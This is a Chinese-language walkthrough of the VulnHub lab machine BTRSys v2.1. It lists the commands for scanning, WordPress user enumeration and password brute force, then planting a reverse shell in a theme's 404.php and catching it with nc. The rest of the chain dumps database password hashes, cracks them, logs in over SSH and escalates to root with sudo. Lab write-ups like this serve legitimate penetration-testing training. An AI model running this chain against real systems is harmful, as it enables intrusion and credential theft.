BTRSys: v2.1靶场渗透

https://www.vulnhub.com/entry/btrsys-v21,196/

https://portal.offsec.com/machine/btrsys21-114/overview/details

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.155

  1. 对靶机进行端口服务探测

    nmap -sV -T4 -p- -A 192.168.23.155

  1. 访问 21 端口开放的 FTP 服务

    ftp 192.168.23.155

anonymous匿名登录成功,输入binary进入二进制模式

啥也没有,而且权限也不足以进行文件上传

  1. 再来看看网站

没有什么价值的默认网页,扫描其网站子目录看看

复制代码
gobuster dir -u http://192.168.23.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
  1. 通过目录结构可以看到网站是 wordpress 建站,分别看看网页内容

http://192.168.23.155/robots.txt

http://192.168.23.155/wordpress/

扫描识别网站指纹目录

复制代码
whatweb -v http://192.168.23.155/wordpress/

得知了 WordPress3.9.14

  1. 使用专项 wordpress 扫描工具进行扫描

    wpscan --url http://192.168.23.155/wordpress/ --enumerate u

扫描发现 wordpress 存在两个用户:adminbtrisk

  1. 对收集的用户名进行爆破,字典选用/usr/share/wordlists/rockyou.txt

    gunzip /usr/share/wordlists/rockyou.txt.gz
    mousepad user.txt
    wpscan --url "http://192.168.23.155/wordpress/" -P "/usr/share/wordlists/rockyou.txt" --usernames user.txt

成功得到 wordpress 网站的账户密码

admin/admin

  1. 账号密码正确,成功登录进入 wordpress

在后台对wordpress 的主题进行编辑,在下述页面黏贴 kali 自带的反弹 shell 代码

http://192.168.23.155/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen&scrollto=72&updated=true

更新网站页面代码之后,访问 404.php 的网站页面触发反弹 shell

http://192.168.23.155/wordpress/wp-content/themes/twentyfourteen/404.php

  1. 注意 kali 在触发反弹 shell 之前就需要监听 4444 端口以 getshell

    nc -lvvp 4444

然后启动一个可交互式 shell,再进行信息收集操作

复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'
id
uname -a
lsb_release -a
  1. 再信息收集一下,查看历史命令

    history

成功得到明文的数据库账户密码信息,登录成功

复制代码
mysql -uroot -prootpassword!
  1. 查看数据库,使用数据库wordpress

    show databases;
    use wordpress;

查看 wordpress数据库下 tables

复制代码
show tables;

查看 wp_users 表当中内容

复制代码
select * from wp_users;

btrisk/a318e4507e5a74604aafb45e4741edd3

admin/21232f297a57a5a743894a0e4a801fc3

将这个密码进行md5解密

https://pmd5.com/

得到 btrisk 用户的密码是roottoor

  1. 注意到 home 目录下存在 btrisk 目录,那么可以合理推测系统用户和网站用户同一个密码

    ssh btrisk@192.168.23.155

ssh 登录成功

  1. 看一下如何提权

    sudo -l
    sudo su

最后成功提权变成 root 用户

相关推荐
能年玲奈喝榴莲牛奶1 小时前
资产和漏洞管理系统(AI)
人工智能·安全·web安全
basketball6162 小时前
软考中级网络工程师 第6章 网络安全 备考总结
大数据·网络·web安全·网络工程师·软考
国际云,接待3 小时前
云服务器 SSH 被扫爆了怎么办:安全组、密钥登录与 Fail2ban 的完整加固清单
服务器·安全·ssh
数据知道4 小时前
XXE 漏洞深度实战:XML 外部实体攻击与 OOB 带外
xml·网络·安全·网络安全
用户762886860054 小时前
内存取证-volatility_2.6工具使用教程
安全
Raas1005 小时前
MAIGateway,魔芋企业级AI网关的安全基建化设计
大数据·人工智能·网关·网络安全·api网关·mai gateway·魔芋
小新讲网安5 小时前
漏洞复现实战大全:CVE漏洞环境搭建与利用全流程详解
安全·黑客·漏洞·nmap·漏洞复现·漏洞检测·虚拟机靶场
笨鸟先飞,勤能补拙5 小时前
AI Agent应用领域深度解析:从概念到落地的全维度审视
大数据·人工智能·python·物联网·安全·网络安全·github
Sombra_Olivia5 小时前
复现Windows Server服务RPC请求缓冲区溢出漏洞(MS08067)
网络·windows·安全·web安全·网络安全·渗透测试·vulhub
大模型码小白6 小时前
AI安全前沿:AI大模型安全防护的前沿技术
java·网络·人工智能·python·深度学习·学习·安全